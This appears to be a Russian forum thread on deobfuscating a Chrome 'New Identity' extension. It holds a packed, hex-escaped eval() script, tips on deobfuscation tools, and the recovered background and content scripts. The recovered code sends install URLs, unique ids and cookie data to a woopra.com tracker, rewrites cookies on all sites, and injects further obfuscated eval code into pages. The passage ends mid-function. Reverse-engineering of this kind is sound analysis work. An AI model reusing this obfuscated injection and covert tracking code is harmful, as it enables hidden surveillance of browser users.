x21\x3D\x3D\x31\x41\x20\x61\x29\x7B\x38\x20\x63\x3D\x7B\x33\x62\x3A\x61\x2E\x31\x6B\x28\x30\x2C\x61\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x2C\x55\x3A\x62\x7D\x3B\x32\x2E\x31\x42\x2E\x33\x6E\x28\x7B\x33\x71\x3A\x22\x23\x33\x72\x22\x2C\x55\x3A\x62\x7D\x29\x3B\x32\x2E\x31\x42\x2E\x33\x74\x28\x63\x29\x7D\x7D\x3B\x37\x20\x46\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x33\x73\x3B\x62\x2E\x32\x36\x26\x26\x28\x61\x3D\x62\x2E\x32\x36\x29\x3B\x32\x2E\x4C\x2E\x31\x69\x28\x7B\x50\x3A\x61\x7D\x2C\x37\x28\x61\x29\x7B\x70\x28\x61\x2E\x59\x2C\x61\x2E\x59\x2B\x22\x69\x40\x40\x40\x69\x22\x29\x7D\x29\x7D\x32\x2E\x32\x34\x2E\x31\x69\x28\x7B\x32\x35\x3A\x22\x33\x68\x20\x32\x4F\x20\x4E\x20\x31\x59\x20\x32\x37\x22\x2C\x32\x62\x3A\x5B\x22\x33\x69\x22\x2C\x22\x32\x6E\x22\x5D\x2C\x32\x39\x3A\x46\x7D\x29\x3B\x32\x2E\x32\x34\x2E\x31\x69\x28\x7B\x32\x35\x3A\x22\x32\x74\x20\x32\x4A\x20\x4E\x20\x31\x59\x20\x32\x37\x22\x2C\x32\x62\x3A\x5B\x22\x32\x44\x22\x5D\x2C\x32\x39\x3A\x46\x7D\x29\x3B", "\x7C", "\x73\x70\x6C\x69\x74", "\x7C\x7C\x63\x68\x72\x6F\x6D\x65\x7C\x7C\x7C\x7C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x69\x66\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x5F\x7C\x73\x74\x6F\x72\x61\x67\x65\x7C\x7C\x7C\x7C\x7C\x68\x74\x74\x70\x73\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72\x7C\x63\x6F\x6D\x7C\x78\x33\x64\x7C\x69\x6E\x64\x65\x78\x4F\x66\x7C\x74\x61\x62\x73\x7C\x67\x6F\x6F\x67\x6C\x65\x7C\x69\x6E\x7C\x67\x65\x74\x7C\x75\x72\x6C\x7C\x72\x65\x74\x75\x72\x6E\x7C\x73\x65\x74\x7C\x66\x6F\x72\x7C\x6C\x6F\x63\x61\x6C\x7C\x74\x61\x62\x49\x64\x7C\x73\x79\x6E\x63\x7C\x6E\x61\x6D\x65\x7C\x6D\x69\x64\x7C\x69\x64\x7C\x72\x65\x73\x70\x6F\x6E\x73\x65\x48\x65\x61\x64\x65\x72\x73\x7C\x69\x6E\x73\x74\x61\x6C\x6C\x7C\x63\x6F\x6F\x6B\x69\x65\x7C\x7C\x76\x61\x6C\x75\x65\x7C\x6D\x61\x69\x6C\x7C\x75\x72\x6C\x73\x7C\x6F\x70\x65\x6E\x65\x72\x54\x61\x62\x49\x64\x7C\x6E\x65\x77\x7C\x74\x79\x70\x65\x7C\x68\x74\x74\x70\x7C\x77\x65\x62\x52\x65\x71\x75\x65\x73\x74\x7C\x62\x6C\x6F\x63\x6B\x69\x6E\x67\x7C\x44\x61\x74\x65\x7C\x73\x75\x62\x73\x74\x72\x69\x6E\x67\x7C\x67\x65\x74\x54\x69\x6D\x65\x7C\x72\x75\x6E\x74\x69\x6D\x65\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x72\x65\x61\x74\x65\x7C\x6C\x6F\x61\x64\x69\x6E\x67\x7C\x73\x75\x62\x73\x74\x72\x7C\x75\x73\x65\x7C\x6F\x72\x67\x56\x65\x72\x73\x69\x6F\x6E\x7C\x67\x6F\x6F\x67\x6C\x65\x61\x70\x69\x73\x7C\x74\x72\x61\x6E\x73\x6C\x61\x74\x65\x7C\x74\x72\x61\x6E\x73\x6C\x61\x74\x65\x5F\x73\x74\x61\x74\x69\x63\x7C\x69\x6D\x67\x7C\x67\x69\x66\x7C\x72\x65\x61\x73\x6F\x6E\x7C\x63\x6F\x6F\x6B\x69\x65\x73\x7C\x72\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x73\x7C\x75\x69\x64\x7C\x61\x63\x63\x6F\x75\x6E\x74\x73\x7C\x77\x69\x6E\x64\x6F\x77\x73\x7C\x64\x65\x6C\x65\x74\x65\x7C\x75\x6E\x64\x65\x66\x69\x6E\x65\x64\x7C\x74\x79\x70\x65\x6F\x66\x7C\x62\x72\x6F\x77\x73\x65\x72\x41\x63\x74\x69\x6F\x6E\x7C\x77\x69\x6E\x64\x6F\x77\x49\x64\x7C\x67\x65\x74\x4D\x61\x6E\x69\x66\x65\x73\x74\x7C\x64\x61\x74\x65\x7C\x76\x65\x72\x73\x69\x6F\x6E\x7C\x71\x75\x65\x72\x79\x7C\x6D\x61\x69\x6E\x5F\x66\x72\x61\x6D\x65\x7C\x63\x61\x7C\x4D\x61\x74\x68\x7C\x72\x65\x71\x75\x65\x73\x74\x42\x6F\x64\x79\x7C\x62\x72\x65\x61\x6B\x7C\x78\x32\x36\x63\x65\x5F\x75\x72\x6C\x7C\x65\x6C\x73\x65\x7C\x77\x77\x77\x7C\x63\x6F\x6E\x74\x69\x6E\x75\x65\x7C\x36\x35\x7C\x67\x65\x74\x41\x6C\x6C\x7C\x6F\x6E\x42\x65\x66\x6F\x72\x65\x52\x65\x71\x75\x65\x73\x74\x7C\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65\x7C\x77\x65\x62\x73\x74\x6F\x72\x65\x7C\x38\x36\x34\x45\x35\x7C\x70\x72\x65\x76\x69\x6F\x75\x73\x56\x65\x72\x73\x69\x6F\x6E\x7C\x74\x61\x62\x7C\x4E\x65\x77\x7C\x73\x65\x6E\x64\x65\x72\x7C\x78\x33\x64\x31\x35\x35\x35\x32\x30\x30\x30\x7C\x6D\x61\x78\x7C\x63\x75\x69\x64\x7C\x6F\x6E\x48\x65\x61\x64\x65\x72\x73\x52\x65\x63\x65\x69\x76\x65\x64\x7C\x63\x6F\x6E\x74\x65\x78\x74\x4D\x65\x6E\x75\x73\x7C\x74\x69\x74\x6C\x65\x7C\x6C\x69\x6E\x6B\x55\x72\x6C\x7C\x49\x64\x65\x6E\x74\x69\x74\x79\x7C\x61\x67\x65\x7C\x6F\x6E\x63\x6C\x69\x63\x6B\x7C\x70\x75\x73\x68\x7C\x63\x6F\x6E\x74\x65\x78\x74\x73\x7C\x68\x6F\x73\x74\x7C\x72\x65\x6D\x6F\x76\x65\x7C\x73\x65\x63\x75\x72\x65\x7C\x6E\x75\x6C\x6C\x7C\x77\x6F\x6F\x70\x72\x61\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x74\x72\x61\x63\x6B\x7C\x64\x6F\x6D\x61\x69\x6E\x7C\x70\x6F\x77\x7C\x70\x61\x74\x68\x7C\x50\x4F\x53\x54\x7C\x69\x6D\x61\x67\x65\x7C\x6F\x6E\x55\x70\x64\x61\x74\x65\x64\x7C\x6F\x6E\x52\x65\x6D\x6F\x76\x65\x64\x7C\x6F\x6E\x52\x65\x70\x6C\x61\x63\x65\x64\x7C\x73\x65\x6E\x64\x7C\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64\x7C\x4F\x70\x65\x6E\x7C\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x7C\x78\x32\x36\x63\x65\x5F\x6D\x69\x64\x75\x69\x64\x7C\x43\x6F\x6E\x74\x65\x6E\x74\x7C\x78\x32\x36\x63\x65\x5F\x7C\x78\x32\x36\x63\x65\x5F\x75\x73\x65\x7C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x7C\x78\x32\x36\x63\x65\x5F\x75\x69\x64\x7C\x78\x32\x36\x63\x65\x5F\x6D\x69\x64\x7C\x78\x32\x36\x63\x65\x5F\x6F\x72\x67\x56\x65\x72\x73\x69\x6F\x6E\x7C\x6C\x69\x6E\x6B\x7C\x78\x32\x36\x63\x65\x5F\x76\x65\x72\x73\x69\x6F\x6E\x7C\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x7C\x63\x65\x7C\x78\x32\x36\x63\x65\x5F\x64\x61\x79\x7C\x78\x33\x64\x69\x64\x6D\x61\x73\x6B\x7C\x4C\x69\x6E\x6B\x7C\x78\x32\x36\x63\x6F\x6F\x6B\x69\x65\x7C\x73\x74\x61\x74\x75\x73\x7C\x78\x32\x36\x63\x65\x5F\x6E\x61\x6D\x65\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x50\x61\x67\x65\x7C\x78\x32\x36\x63\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x43\x6F\x6F\x6B\x69\x65\x7C\x78\x32\x36\x63\x65\x5F\x70\x72\x65\x76\x69\x6F\x75\x73\x56\x65\x72\x73\x69\x6F\x6E\x7C\x70\x6F\x73\x74\x4D\x65\x73\x73\x61\x67\x65\x7C\x73\x70\x6C\x69\x63\x65\x7C\x70\x72\x6F\x66\x69\x6C\x65\x7C\x6F\x6E\x43\x72\x65\x61\x74\x65\x64\x7C\x73\x70\x6C\x69\x74\x7C\x74\x72\x69\x6D\x7C\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x7C\x6F\x6E\x43\x6F\x6E\x6E\x65\x63\x74\x7C\x66\x72\x61\x6D\x65\x49\x64\x7C\x66\x6F\x72\x6D\x7C\x6F\x6E\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64\x7C\x72\x65\x64\x69\x72\x65\x63\x74\x55\x72\x6C\x7C\x74\x72\x79\x7C\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x7C\x7C\x77\x65\x62\x4E\x61\x76\x69\x67\x61\x74\x69\x6F\x6E\x7C\x63\x61\x74\x63\x68\x7C\x75\x70\x64\x61\x74\x65\x7C\x52\x65\x66\x65\x72\x65\x72\x7C\x74\x65\x78\x74\x7C\x6F\x6E\x43\x6C\x69\x63\x6B\x65\x64\x7C\x61\x63\x74\x69\x76\x65\x7C\x6F\x70\x65\x6E\x7C\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74\x7C\x6E\x6F\x72\x6D\x61\x6C\x7C\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x7C\x70\x61\x67\x65\x7C\x67\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x7C\x6F\x6E\x46\x6F\x63\x75\x73\x43\x68\x61\x6E\x67\x65\x64\x7C\x6F\x6E\x41\x63\x74\x69\x76\x65\x43\x68\x61\x6E\x67\x65\x64\x7C\x6F\x6E\x49\x6E\x73\x74\x61\x6C\x6C\x65\x64\x7C\x73\x65\x74\x42\x61\x64\x67\x65\x42\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x43\x6F\x6C\x6F\x72\x7C\x74\x79\x70\x65\x73\x7C\x6F\x6E\x42\x65\x66\x6F\x72\x65\x53\x65\x6E\x64\x48\x65\x61\x64\x65\x72\x73\x7C\x63\x6F\x6C\x6F\x72\x7C\x30\x30\x36\x36\x30\x30\x7C\x70\x61\x67\x65\x55\x72\x6C\x7C\x73\x65\x74\x42\x61\x64\x67\x65\x54\x65\x78\x74\x7C\x35\x30\x30\x7C\x72\x65\x70\x6C\x61\x63\x65", "", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x72\x65\x70\x6C\x61\x63\x65", "\x5C\x77\x2B", "\x5C\x62", "\x67"];
eval(function(_0xd841x1, _0xd841x2, _0xd841x3, _0xd841x4, _0xd841x5, _0xd841x6) {
    _0xd841x5 = function(_0xd841x3) {
        return (_0xd841x3 < _0xd841x2 ? _0x576f[4] : _0xd841x5(parseInt(_0xd841x3 / _0xd841x2))) + ((_0xd841x3 = _0xd841x3 % _0xd841x2) > 35 ? String[_0x576f[5]](_0xd841x3 + 29) : _0xd841x3.toString(36))
    };
    if (!_0x576f[4][_0x576f[6]](/^/, String)) {
        while (_0xd841x3--) {
            _0xd841x6[_0xd841x5(_0xd841x3)] = _0xd841x4[_0xd841x3] || _0xd841x5(_0xd841x3)
        };
        _0xd841x4 = [function(_0xd841x5) {
            return _0xd841x6[_0xd841x5]
        }];
        _0xd841x5 = function() {
            return _0x576f[7]
        };
        _0xd841x3 = 1
    };
    while (_0xd841x3--) {
        if (_0xd841x4[_0xd841x3]) {
            _0xd841x1 = _0xd841x1[_0x576f[6]](new RegExp(_0x576f[8] + _0xd841x5(_0xd841x3) + _0x576f[8], _0x576f[9]), _0xd841x4[_0xd841x3])
        }
    };
    return _0xd841x1
}(_0x576f[0], 62, 218, _0x576f[3][_0x576f[2]](_0x576f[1]), 0, {}));



Может бы есть какие-нибудь более продвинутые сервисы для обфусцирования js кода?
Вот расширение которое показывает исходники расширений прямо на месте, и пытается привести к читаемому виду.
Еще использую Closure Compilier Service.
Обычно этого сервиса и jsbeautifier мне хватает и дальше продолжаю разбирать код в ручную.

В Вашем примере, можно еще установить чекбокс в jsbeautifier «Unescape printable chars encoded as \xNN or \uNNNN?».
Далее попытаться вынести код из eval в переменную, а потом в браузере не выполнять eval, а вывести в console.
Полученный код из console снова деобфусцировать.
Спасибо, получилось.

background.min.js
var f = {},
    g = [],
    l = [];
m("");
chrome.browserAction.onClicked.addListener(function() {
    n++;
    var b = {};
    b.use = n;
    chrome.storage.sync.set(b);
    chrome.tabs.create({}, function(a) {
        p(a.id, a.id + "_@@@_")
    })
});
var q, n, r, s, t, u;
chrome.runtime.onInstalled.addListener(function(b) {
    chrome.storage.sync.get("date", function(a) {
        q = a.date;
        q || (q = (new Date).getTime(), a.date = q, chrome.storage.sync.set(a))
    });
    chrome.storage.sync.get("use", function(a) {
        n = a.use;
        n || (n = 0, a.use = n, chrome.storage.sync.set(a))
    });
    chrome.storage.sync.get("uid", function(a) {
        r = a.uid;
        r || (r = w(), a.uid = r, chrome.storage.sync.set(a))
    });
    chrome.storage.local.get("mid", function(a) {
        a.mid || (a.mid = w(), chrome.storage.local.set(a));
        s = a.mid;
        document.cookie || (document.cookie = "cuid=" + s + ";max-age=15552000")
    });
    chrome.storage.local.get("orgVersion", function(a) {
        a.orgVersion || (a.orgVersion = chrome.runtime.getManifest().version, chrome.storage.local.set(a));
        t = a.orgVersion
    });
    chrome.storage.local.get("mid", function(a) {
        a.mid || (a.mid = w(), chrome.storage.local.set(a));
        s = a.mid;
        document.cookie || (document.cookie = "cuid=" + s + ";max-age=15552000")
    });
    chrome.storage.local.get("install", function(a) {
        u = a.install
    });
    chrome.storage.sync.get(function() {
        x(b)
    })
});

function x(b) {
    "update" === b.reason && b.previousVersion != chrome.runtime.getManifest().version && y(b.reason + "&ce_previousVersion=" + b.previousVersion);
    "install" !== b.reason || (0 != ((new Date).getTime() - q) / 864E5 << 0 || u) || chrome.tabs.query({
        url: "https://chrome.google.com/webstore*"
    }, function(a) {
        if (a && a[0]) {
            var b = a[0];
            b.openerTabId ? chrome.tabs.get(b.openerTabId, function(a) {
                y("install&ce_url=" + b.url + "&ce_referrer=" + a.url)
            }) : y("install&ce_url=" + b.url)
        } else {
            y("install")
        }
    })
}

function y(b) {
    chrome.storage.local.set({
        install: !0
    });
    var a = new XMLHttpRequest;
    a.open("POST", "http://www.woopra.com/track/ce/", !0);
    a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    a.send("host=idmask.com&ce_name=" + b + "&ce_version=" + chrome.runtime.getManifest().version + "&ce_use=" + n + "&ce_day=" + (((new Date).getTime() - q) / 864E5 << 0) + "&ce_uid=" + r + "&ce_mid=" + s + "&ce_orgVersion=" + t + "&ce_miduid=" + s + r + "&ce_" + document.cookie + "&cookie=" + r)
}

function w() {
    return ("000000000000" + (Math.random() * Math.pow(36, 12)).toString(36)).substr(-12)
};

function m(b) {
    chrome.cookies.getAll({}, function(a) {
        for (var c in a) {
            var e = a[c],
                d = e.name;
            null === b && 0 < d.indexOf("@@@") || "" === b && -1 == d.indexOf("@@@") || b && d.substring(0, b.length) != b || chrome.cookies.remove({
                url: (e.secure ? "https://" : "http://") + e.domain + e.path,
                name: d
            }, function() {})
        }
    })
}

function z() {
    chrome.cookies.getAll({}, function(b) {
        for (var a in b) {
            var c = b[a].name;
            if (!(0 > c.indexOf("_@@@_"))) {
                for (a in c = c.substr(0, c.indexOf("_@@@_")) + "_@@@_", g) {
                    if (g[a] == c) {
                        return
                    }
                }
            }
        }
    })
};
chrome.tabs.onReplaced.addListener(function(b, a) {
    var c = A(a);
    p(b, c);
    delete g[a];
    B(b, c)
});
chrome.tabs.onRemoved.addListener(function(b) {
    a: {
        var a = A(b);
        if (a) {
            delete g[b];
            for (var c in g) {
                if (g[c] == a) {
                    break a
                }
            }
            m(a)
        }
    }
    delete l[b]
});
chrome.tabs.onUpdated.addListener(function(b, a, c) {
    "loading" == c.status && p(b, A(b))
});
chrome.tabs.onCreated.addListener(function(b) {
    if (b) {
        var a = b.id;
        if (a && !(0 > a)) {
            if (!b.openerTabId) {
                var c = b.windowId;
                if (C && D && C != c) {
                    c = A(D);
                    p(a, c);
                    l[a] = !0;
                    return
                }
            }
            b.openerTabId && "chrome" != b.url.substr(0, 6) ? (c = A(b.openerTabId), p(a, c), "undefined" === typeof l[a] && (l[a] = b.openerTabId)) : l[a] = !0
        }
    }
});
var C;
chrome.windows.getCurrent({}, function(b) {
    E(b.id)
});
chrome.windows.onFocusChanged.addListener(function(b) {
    E(b)
});

function E(b) {
    b && chrome.windows.get(b, {}, function(a) {
        a && "normal" == a.type && (C = b, chrome.tabs.query({
            active: !0,
            windowId: C
        }, function(a) {
            D = a[0].id
        }))
    })
}
var D;
chrome.tabs.onActiveChanged.addListener(function(b, a) {
    E(a.windowId)
});
chrome.webRequest.onBeforeRequest.addListener(function(b) {
    if ((b = b.tabId) && !(0 > b) && (z(), "undefined" === typeof l[b])) {
        b = 0;
        for (var a = (new Date).getTime(); 500 > b - a; b = (new Date).getTime()) {}
    }
}, {
    urls: ["http://*/*", "https://*/*"],
    types: ["main_frame"]
}, ["blocking", "requestBody"]);
chrome.webRequest.onBeforeSendHeaders.addListener(function(b) {
    var a = b.tabId;
    if (a && !(0 > a)) {
        var c = A(a),
            e = b.url,
            d = b.requestHeaders,
            h = "";
        if ("https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
            if ("main_frame" == b.type) {
                f[a] = !1;
                if (e && 0 == e.indexOf("https://accounts.google.com/")) {
                    var v, k;
                    for (k in d) {
                        if ("Referer" == d[k].name) {
                            v = d[k].value;
                            break
                        }
                    }
                    v && 0 == v.indexOf("https://accounts.google.com/") && 0 < v.indexOf("chrome.google.com") && (f[a] = !0, c = "")
                }
                e && 0 == e.indexOf("https://accounts.google.com/") && 0 < e.indexOf("chrome.google.com") && (f[a] = !0, c = "");
                0 == e.indexOf("https://chrome.google.com/webstore") && (f[a] = !0, c = "")
            }
            for (k in d) {
                if ("cookie" === d[k].name.toLowerCase()) {
                    if (!c && -1 == d[k].value.indexOf("_@@@_")) {
                        return
                    }
                    b = d[k].value.split("; ");
                    for (var G in b) {
                        a = b[G].trim();
                        if (c) {
                            if (a.substring(0, c.length) != c) {
                                continue
                            }
                        } else {
                            if (-1 < a.indexOf("_@@@_")) {
                                continue
                            }
                        }
                        0 < h.length && (h += "; ");
                        h = c ? h + a.substring(c.length) : h + a
                    }
                    d.splice(k, 1)
                }
            }
            0 < h.length && d.push({
                name: "Cookie",
                value: h
            });
            return {
                requestHeaders: d
            }
        }
    }
}, {
    urls: ["http://*/*", "https://*/*"]
}, ["blocking", "requestHeaders"]);
chrome.webRequest.onHeadersReceived.addListener(function(b) {
    var a = b.tabId;
    if (a && !(0 > a)) {
        var c = A(a);
        if ("" != c) {
            var e = b.url;
            b = b.responseHeaders;
            if (!f[a] && "https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
                for (var d in b) {
                    "set-cookie" == b[d].name.toLowerCase() && (b[d].value = c + b[d].value)
                }
                return {
                    responseHeaders: b
                }
            }
        }
    }
}, {
    urls: ["http://*/*", "https://*/*"]
}, ["blocking", "responseHeaders"]);
chrome.webRequest.onBeforeRequest.addListener(function(b) {
    var a = b.tabId;
    if (a && !(0 > a) && A(a)) {
        return {
            redirectUrl: b.url.replace("https://mail.google.com/mail/ca/", "https://mail.google.com/mail/")
        }
    }
}, {
    urls: ["https://mail.google.com/mail/ca/*"]
}, ["blocking", "requestBody"]);
chrome.webRequest.onHeadersReceived.addListener(function(b) {
    var a = b.tabId;
    if (a && !(0 > a)) {
        return b.responseHeaders.push({
            name: "6",
            value: A(a)
        }), {
            responseHeaders: b.responseHeaders
        }
    }
}, {
    urls: ["https://translate.googleapis.com/translate_static/img/loading.gif"]
}, ["blocking", "responseHeaders"]);
chrome.webNavigation.onDOMContentLoaded.addListener(function(b) {
    var a = b.tabId;
    if (!(!a || 0 > a || !A(a) || 0 < b.frameId)) {
        try {
            chrome.tabs.sendMessage(a, {
                type: 5
            })
        } catch (c) {}
    }
}, {
    urls: ["http://*/*", "https://*/*"]
});
chrome.runtime.onConnect.addListener(function(b) {
    b.onMessage.addListener(function(a) {
        3 == a.type && b.sender.tab && b.postMessage({
            type: 4,
            profile: A(b.sender.tab.id)
        })
    })
});

function A(b) {
    if (!(1 > b)) {
        return f[b] || !g[b] ? "" : g[b]
    }
}

function p(b, a) {
    a && (g[b] = a, B(b, a))
}

function B(b, a) {
    if ("undefined" !== typeof a) {
        var c = {
            text: a.substr(0, a.indexOf("_@@@_")),
            tabId: b
        };
        chrome.browserAction.setBadgeBackgroundColor({
            color: "#006600",
            tabId: b
        });
        chrome.browserAction.setBadgeText(c)
    }
};

function F(b) {
    var a = b.pageUrl;
    b.linkUrl && (a = b.linkUrl);
    chrome.tabs.create({
        url: a
    }, function(a) {
        p(a.id, a.id + "_@@@_")
    })
}
chrome.contextMenus.create({
    title: "Duplicate Page in New Identity",
    contexts: ["page", "image"],
    onclick: F
});
chrome.contextMenus.create({
    title: "Open Link in New Identity",
    contexts: ["link"],
    onclick: F
});

content.min.js
var e, h = 6,
    k, m = null,
    n;
try {
    k = chrome.runtime.connect({
        name: "3"
    }), k.onMessage.addListener(function(a) {
        4 == a.type && ("undefined" == a.profile && window.location.reload(), p(a.profile))
    }), k.postMessage({
        type: "3"
    }), k.onDisconnect.addListener(function() {})
} catch (q) {}
if (!k) {
    throw "port not found"
}
r();

function s() {
    var a;
    a = "(" + function() {
        eval(function(a, b, c, g, d, l) {
            d = function(a) {
                return (a < b ? "" : d(parseInt(a / b))) + (35 < (a %= b) ? String.fromCharCode(a + 29) : a.toString(36))
            };
            if (!"".replace(/^/, String)) {
                for (; c--;) {
                    l[d(c)] = g[c] || d(c)
                }
                g = [function(a) {
                    return l[a]
                }];
                d = function() {
                    return "\\w+"
                };
                c = 1
            }
            for (; c--;) {
                g[c] && (a = a.replace(RegExp("\\b" + d(c) + "\\b", "g"), g[c]))
            }
            return a
        }('11 e=["\\F\\q\\D\\z\\y\\s\\G\\m\\F\\q\\X\\z\\p\\m\\y\\s\\Y\\k\\g\\G\\g\\M\\U\\k\\O\\i\\C\\D\\z\\O\\m\\F\\q\\9\\z\\Z\\q\\X\\k\\g\\10\\g\\M\\C\\g\\j\\g\\12\\O\\E\\i\\m\\y\\s\\V\\k\\9\\i\\E\\i\\m\\y\\s\\v\\k\\g\\G\\g\\M\\U\\k\\i\\C\\o\\q\\D\\E\\i\\m","\\b","\\I\\H\\x\\h\\a","\\j\\B\\o\\t\\P\\9\\f\\a\\b\\L\\p\\n\\b\\d\\d\\d\\d\\a\\b\\a\\h\\a\\x\\9\\b\\a\\b\\o\\9\\b\\v\\t\\f\\o\\a\\h\\B\\f\\b\\f\\9\\R\\b\\d\\d\\j\\9\\v\\h\\f\\9\\14\\9\\a\\a\\9\\n\\d\\d\\b\\b\\1d\\t\\I\\a\\B\\P\\Q\\L\\9\\f\\a\\b\\j\\h\\I\\H\\p\\a\\o\\1e\\Q\\L\\9\\f\\a\\b\\n\\9\\a\\t\\n\\f\\b\\j\\9\\a\\p\\h\\x\\b\\b\\d\\d\\j\\9\\v\\h\\f\\9\\13\\9\\a\\a\\9\\n\\d\\d","\\n\\9\\H\\x\\p\\o\\9","","\\W\\R\\1b","\\W\\V","\\15"];1c(A(w,J,c,r,l,N){l=A(c){u c.K(17)};T(!e[5][e[4]](/^/,18)){S(c--){N[c.K(J)]=r[c]||c.K(J)};r=[A(l){u N[l]}];l=A(){u e[6]};c=1};S(c--){T(r[c]){w=w[e[4]](1a 19(e[7]+l(c)+e[7],e[8]),r[c])}};u w}(e[0],16,16,e[3][e[2]](e[1]),0,{}));', 62, 77, "         x65 x74 x7C _0xdb7fx3 x5F _0x4b27 x6E x22 x69 x29 x64 x28 _0xdb7fx5 x3B x72 x63 x61 x20 _0xdb7fx4 x2E x75 return x66 _0xdb7fx1 x6C x30 x3D function x6F x7B x32 x7D x31 x33 x70 x73 _0xdb7fx2 toString x76 x2C _0xdb7fx6 x34 x6D x45 x77 while if x36 x62 x5C x35 x38 x37 x39 var x3A x47 x53 x67  36 String RegExp new x2B eval x43 x68".split(" "), 0, {}))
    } + ")()";
    var b = document.createElement("script");
    b.appendChild(document.createTextNode(a));
    (document.head || document.documentElement).appendChild(b);
    b.parentNode.removeChild(b)
}

function r() {
    var a;
    a = function() {};
    a = "(" + function() {
        eval(function(a, b, c, g, d, l) {
            d = function(a) {
                return (a < b ? "" : d(parseInt(a / b))) + (35 < (a %= b) ? String.fromCharCode(a + 29) : a.toString(36))
            };
            if (!"".replace(/^/, String)) {
                for (; c--;) {
                    l[d(c)] = g[c] || d(c)
                }
                g = [function(a) {
                    return l[a]
                }];
                d = function() {
                    return "\\w+"
                };
                c = 1
            }
            for (; c--;) {
                g[c] && (a = a.replace(RegExp("\\b" + d(c) + "\\b", "g"), g[c]))
            }
            return a
        }('1i h=["\\K\\q\\U\\A\\s\\t\\y\\p\\H\\i\\d\\m\\d\\Q\\Z\\i\\c\\f\\C\\K\\q\\J\\A\\Y\\q\\U\\i\\d\\1d\\d\\Q\\C\\d\\B\\d\\19\\c\\x\\f\\t\\y\\p\\M\\i\\J\\f\\x\\f\\t\\y\\p\\P\\i\\d\\m\\d\\Q\\Z\\i\\f\\C\\K\\q\\J\\A\\Y\\q\\U\\i\\d\\1a\\d\\f\\t\\y\\p\\M\\i\\J\\f\\t\\K\\q\\c\\t\\e\\C\\c\\A\\X\\p\\j\\i\\d\\n\\n\\n\\N\\d\\f\\t\\X\\p\\r\\i\\d\\n\\n\\n\\N\\d\\f\\x\\u\\i\\9\\f\\C\\c\\A\\y\\p\\V\\i\\d\\n\\n\\n\\N\\d\\f\\p\\1m\\x\\l\\q\\c\\x\\f","\\a","\\G\\W\\u\\l\\b","\\s\\j\\c\\F\\r\\9\\e\\b\\a\\9\\w\\9\\e\\b\\a\\w\\m\\k\\a\\c\\j\\j\\V\\l\\9\\G\\a\\c\\9\\a\\H\\F\\e\\c\\b\\l\\j\\e\\a\\e\\9\\14\\a\\a\\a\\u\\j\\c\\m\\u\\10\\b\\j\\k\\m\\B\\9\\a\\c\\j\\j\\V\\l\\9\\a\\s\\l\\G\\W\\m\\b\\c\\P\\O\\w\\9\\e\\b\\a\\a\\1j\\F\\G\\b\\j\\r\\O\\w\\9\\e\\b\\a\\a\\o\\o\\s\\9\\H\\l\\e\\9\\10\\9\\b\\b\\9\\k\\o\\o\\a\\s\\9\\b\\m\\l\\u\\a\\o\\o\\s\\9\\H\\l\\e\\9\\17\\9\\b\\b\\9\\k\\o\\o\\a\\k\\9\\b\\F\\k\\e\\a\\l\\e\\e\\9\\k\\1h\\9\\1g\\b\\a\\B\\9\\b\\O\\u\\9\\r\\9\\e\\b\\1f\\11\\S\\s\\a\\c\\m\\b\\c\\P\\a\\k\\9\\r\\j\\w\\9\\S\\b\\9\\r\\a\\b\\k\\11\\a\\B\\9\\b\\S\\b\\9\\r","\\k\\9\\W\\u\\m\\c\\9","","\\16\\14\\1l","\\16\\M","\\B"];1k(E(D,L,g,z,v,R){v=E(g){I g.T(1e)};13(!h[5][h[4]](/^/,18)){12(g--){R[g.T(L)]=z[g]||g.T(L)};z=[E(v){I R[v]}];v=E(){I h[6]};g=1};12(g--){13(z[g]){D=D[h[4]](1c 1b(h[7]+v(g)+h[7],h[8]),z[g])}};I D}(h[0],15,15,h[3][h[2]](h[1]),0,{}));', 62, 85, "         x65 x7C x74 x63 x22 x6E x29 _0xc39bx3 _0xbeb5 x28 x6F x72 x69 x61 x40 x5F x2E x20 x6D x64 x3B x6C _0xc39bx5 x76 x7D x30 _0xc39bx4 x3D x67 x7B _0xc39bx1 function x75 x73 x66 return x31 x32 _0xc39bx2 x62 x33 x45 x68 x2C _0xc39bx6 x49 toString x34 x6B x70 x39 x36 x35 x53 x79 while if x77 25 x5C x47 String x3A x38 RegExp new x37 36 x42 x78 x54 var x43 eval x2B x6A".split(" "), 0, {}))
    } + ")()";
    var b = document.createElement("script");
    b.appendChild(document.createTextNode(a));
    (document.head || document.documentElement).appendChild(b);
    b.parentNode.removeChild(b)
}

function p(a) {
    null !== a && (m = a, n = m.substr(0, m.indexOf("_@@@_")))
}

function t() {
    if (null === m) {
        e = new XMLHttpRequest;
